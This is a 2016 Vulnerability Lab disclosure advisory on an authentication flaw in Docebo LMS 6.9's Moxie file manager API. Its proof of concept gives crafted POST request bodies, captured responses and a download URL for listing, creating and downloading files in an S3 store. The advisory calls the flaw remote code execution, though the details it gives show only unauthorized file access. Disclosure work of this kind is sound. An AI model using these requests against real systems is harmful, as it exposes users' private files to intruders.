Document Title:
===============
Docebo LMS 6.9 - (Moxie) API Calls RST Remote Code Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1888

Video: http://www.vulnerability-lab.com/get_content.php?id=1892


Release Date:
=============
2016-08-02


Vulnerability Laboratory ID (VL-ID):
====================================
1888


Common Vulnerability Scoring System:
====================================
7.3


Product & Service Introduction:
===============================
Docebo is a SAAS/Cloud platform for e-learning, also known as a learning management system.From the Latin word, docere. Docebo is used 
for corporate learning and has interfaces for videoconferencing and HR systems. Using an online system for learning and training cuts 
down time needed and costs that would be used on such things as printing and distributing materials.

(Copy of the Vendor Homepage: https://www.docebo.com/learning-management-system-lms/ & https://en.wikipedia.org/wiki/DoceboLMS )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote code execution vulnerability in the official Docebo LMS 6.9 web-application.


Vulnerability Disclosure Timeline:
==================================
2016-07-01: Researcher Notification & Coordination (Lawrence Amer)
2016-07-02: Vendor Notification (LMS Security Team)
2016-**-**: Vendor Response/Feedback (LMS Security Team)
2016-**-**: Vendor Fix/Patch (LMS Service Developer Team)
2016-08-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Docebo
Product: Docebo LMS - Content Management System (Web-Application) 6.9


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
API calls REST auth Vulnerability has been discovered in the official Docebo LMS web-application. 

Remote attackers with low user privilege are able to send Json Api request  through Moxie file manager api without 
secure authentication rules, the vulnerability is located in the module `../moxiemanager/api.php`. User with low 
privileged access rights are able to send REST calls through vulnerable module to do many actions allowed by the 
current module `moxie`. The vulnerable parameters `action,json` allow remote attackers to execute Commands 
`Create,List,Download,view`. Due to our investigation we discovered that moxie file manager is included in the 
whole functionality of Docebo LMS as materials uploader, used only by admins to customize files, images and to
manage them. 


1.1
Attackers are able to retrieve list of filenames, paths of files uploaded by Docebo admins and others users even it is private data, the vulenrable 
module moxie allows remote attackers to gain access to S3 package which responsible for storing  users, admin  images, files and other sensitive data.

1.2
Remote attackers are able to create files and folders names inside the S3 package of cloudfront account without approval or secure authentication. 

1.3
Attackers are able to download files uploaded by administrators or other users through api rst function called "download". Files are downloadable 
from cloudfront s3 account without secure authentication.


Vulnerable Module(s):
        [+]/moxiemanager/api.php

Vulnerable parameter(s):
        [+]json 
        [+]action 


Request Method(s):
        [+] POST 

Request Type(s):
        [+] Json 


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without user interaction or privileged web-application user accounts.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


1. Remote attackers can send REST calls through any REST console, by following the instruction below:

#1
URL : http://docebosaas.localhost:8080/moxiemanager/api.php
Request type : POST 
Content header : application/x-www-form-urlencoded 
Encoding : gzip 

RAW Body : 
json=%7B%22id%22%3A%22i1%22%2C%22method%22%3A%22listFiles%22%2C%22params%22%3A%7B%22path%22%3A%22%2FS3%22%2C%22filter
%22%3A%22%22%2C%22orderBy%22%3A%22name%22%2C%22desc%22%3Afalse%2C%22offset%22%3A0%2C%22length%22%3A200%2C%22lastPath%22%3Anull%7D%2C%22jsonrpc%22%3A%222.0%22%7D


--- POC LOGS ---
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: keep-alive
Origin: chrome-extension: //rest-console-id
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36

Request Url: https://vulnlab.docebosaas.com/moxiemanager/api.php
Request Method: POST
Status Code: 200
Params: {}


--- RESPONSE LOGS ---
{
    "jsonrpc": "2.0",
    "result": {
        "columns": ["name", "size", "modified", "attrs", "info"],
        "config": {
            "general.hidden_tools": "",
            "general.disabled_tools": "",
            "filesystem.extensions": "jpg,jpeg,png,gif",
            "filesystem.force_directory_template": false,
            "upload.maxsize": "100MB",
            "upload.chunk_size": "5mb",
            "upload.extensions": "*",
            "createdoc.templates": "",
            "createdoc.fields": "Document title=title",
            "createdir.templates": ""
        },
        "file": {
            "path": "/S3",
            "size": 0,
            "lastModified": 1469569618,
            "isFile": false,
            "canRead": true,
            "canWrite": true,
            "canEdit": false,
            "canRename": true,
            "canView": false,
            "canPreview": false,
            "exists": true,
            "meta": {
                "url": "https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/13013"
            }
        },
        "urlFile": null,
        "data": [
            ["lawrenc", 0, 0, "drwr----",
            {}],
            ["lawrence", 0, 0, "drwr----",
            {}],
            ["lawrenceamer", 0, 0, "drwr----",
            {}]
        ],
        "url": "https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/13013",
        "thumbnailFolder": false,
        "thumbnailPrefix": false,
        "offset": 3,
        "last": true
    },
    "id": "i1"
}



#2
1. Remote attackers can send REST calls through any REST console, by following the instruction below:

URL : http://docebosaas.localhost:8080/moxiemanager/api.php
Request type : POST 
Content header : application/x-www-form-urlencoded 
Encoding : gzip 

RAW Body : 
json=%7B%22id%22%3A%22i9%22%2C%22method%22%3A%22createDirectory%22%2C%22params%22%3A%7B%22path%22%3A%22%2FS3%2Fvulnlab%22%7D%2C%22jsonrpc%22%3A%222.0%22%7D


--- POCS LOGS ---
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: keep-alive
Origin: chrome-extension: //rest-console-id
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36

Request Url: https://vulnlab.docebosaas.com/moxiemanager/api.php
Request Method: POST
Status Code: 200
Params: {}


--- RESPONSE LOGS ---
{
    "jsonrpc": "2.0",
    "result": {
        "path": "/S3/vulnlab",
        "size": 0,
        "lastModified": 0,
        "isFile": false,
        "canRead": true,
        "canWrite": true,
        "canEdit": false,
        "canRename": true,
        "canView": false,
        "canPreview": false,
        "exists": true,
        "meta": {
            "url": "https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/userfiles/13013/vulnlab"
        }
    },
    "id": "i9"
}


#3
1. Remote attacker with low user privileges can use the link below to get files uploaded into S3 package as zip downloadable package. 
URL: https://docebosaas.localhost:8080/moxiemanager/api.php?action=download&path=/S3&names=NAMEOFIFLE.jpg&zipname=files.zip
2. successfully reproduce the issue . 


PoC: Video 
https://www.youtube.com/watch?v=YF57jTPESgQ


Security Risk:
==============
The security risk of the remote code execution vulnerability in the api calls function of the web-application is estimated as high. (CVSS 7.3)


Credits & Authors:
==================
Core Research Team - Lawrence Amer (http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer)


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